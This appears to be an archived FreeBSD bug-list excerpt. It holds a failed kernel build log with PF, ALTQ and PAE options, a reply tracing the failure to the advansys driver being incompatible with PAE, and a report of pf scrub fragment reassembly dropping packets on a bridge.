-Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low_pisa.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_pass.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_sa.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_ses.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-alg-fst.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api-fst.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha1.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha2/sha2.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_cam.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_debug.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_disk.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_pci.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_eisa.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_pci.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/advansys.c > cc1: warnings being treated as errors > /usr/src/sys/dev/advansys/advansys.c: In function 'adv_action': > /usr/src/sys/dev/advansys/advansys.c:259: warning: cast from pointer to integer of d ifferent size > *** Error code 1 > > Stop in /usr/obj/usr/src/sys/CUSTOM. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > > cfatechz.com /usr/src # > .... > > >> How-To-Repeat: >> > Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 > > 1. Added the following line entries on /usr/src/sys/i386/conf/CUSTOM file > > ident CUSTOM > > device pf > device pflog > device pfsync > > options ALTQ > options ALTQ_CBQ # Class Bases Queuing (CBQ) > options ALTQ_RED # Random Early Detection (RED) > options ALTQ_RIO # RED In/Out > options ALTQ_HFSC # Hierarchical Packet Scheduler (HFSC) > options ALTQ_PRIQ # Priority Queuing (PRIQ) > options ALTQ_NOPCC # Required for SMP build > > options PAE # Physical Address Extensions Kernel > .. > > 2. Starting building new kernel with PF support and PAE. > > cfatechz.com /usr/src # make buildkernel KERNCONF=CUSTOM > > ... > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low_pisa.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_pass.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_sa.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_ses.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-alg-fst.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api-fst.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha1.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha2/sha2.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_cam.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_debug.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_disk.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_pci.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_eisa.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_pci.c > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/advansys.c > cc1: warnings being treated as errors > /usr/src/sys/dev/advansys/advansys.c: In function 'adv_action': > /usr/src/sys/dev/advansys/advansys.c:259: warning: cast from pointer to integer of d ifferent size > *** Error code 1 > > Stop in /usr/obj/usr/src/sys/CUSTOM. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > > cfatechz.com /usr/src # > .... > > It seems that your build failed in the advansys driver. This should not normally be in a PAE kernel. Did you start your CUSTOM kernel with /usr/src/sys/i386/conf/PAE as the base? There are a number of drivers in GENERIC that are not allowed to exist in PAE. Advansys is one of them (there is a 'nodevice adv' in /usr/src/sys/i386/conf/PAE). From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 10:00:08 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C864B106566B for ; Wed, 15 Jul 2009 10:00:08 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 9E8638FC1B for ; Wed, 15 Jul 2009 10:00:08 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6FA08pj097219 for ; Wed, 15 Jul 2009 10:00:08 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6FA08Um097218; Wed, 15 Jul 2009 10:00:08 GMT (envelope-from gnats) Resent-Date: Wed, 15 Jul 2009 10:00:08 GMT Resent-Message-Id: <200907151000.n6FA08Um097218@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Kristian Shaw Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 99BA8106566B for ; Wed, 15 Jul 2009 09:52:44 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 885A18FC3E for ; Wed, 15 Jul 2009 09:52:44 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6F9qiin081787 for ; Wed, 15 Jul 2009 09:52:44 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6F9qimp081785; Wed, 15 Jul 2009 09:52:44 GMT (envelope-from nobody) Message-Id: <200907150952.n6F9qimp081785@www.freebsd.org> Date: Wed, 15 Jul 2009 09:52:44 GMT From: Kristian Shaw To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136781: Packets appear to drop with pf scrub and if_bridge X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 10:00:09 -0000 >Number: 136781 >Category: kern >Synopsis: Packets appear to drop with pf scrub and if_bridge >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jul 15 10:00:08 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Kristian Shaw >Release: 7.2-RELEASE #0 >Organization: >Environment: 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Sat Jul 11 06:33:55 BST 2009 root@freebsd72.gb010.itgr.net:/usr/obj/usr/src/sys/TINYBSD i386 >Description: FreeBSD is configured as a firewall/traffic shaping bridge. Fragmented packets are intermittantly dropped when using pf with if_bridge. If pf's scrub function is used then fragments appear to be silently dropped. Testing with the Windows XP ping -l function to a machine on the other side of the bridge: ping -l <1472 = works ping -l 1473<->1497 = dropped packets ping -l >1498 = works Below is the loud output when ping x.x.1.4 -l 1473 is executed. kernel: pf_normalize_ip: reass frag 17581 @ 0-1480 trafficshaper kernel: pf_normalize_ip: reass frag 17581 @ 1480-1481 trafficshaper kernel: pf_reassemble: 1481 < 1481? trafficshaper kernel: pf_reassemble: complete: 0xc15ba700(1501) >How-To-Repeat: rc.conf ******* cloned_interfaces="bridge0" autobridge_interfaces="bridge0" autobridge_bridge0="vr0 vr1" ipv4_addrs_bridge0="x.x.8.11/24" defaultrouter="x.x.8.1" ifconfig_vr0="up" ifconfig_vr1="up" sysctl ****** net.link.bridge.ipfw: 0 net.link.bridge.log_stp: 0 net.link.bridge.pfil_local_phys: 1 net.link.bridge.pfil_member: 1 net.link.bridge.pfil_bridge: 0 net.link.bridge.ipfw_arp: 0 net.link.bridge.pfil_onlyip: 1 pf.conf ******* scrub in all fragment reassemble >Fix: If scrub fragment reassemble is not used then packets are passed OK. If fragment drop-ovl is used the packets are passed OK. >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 13:20:04 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org 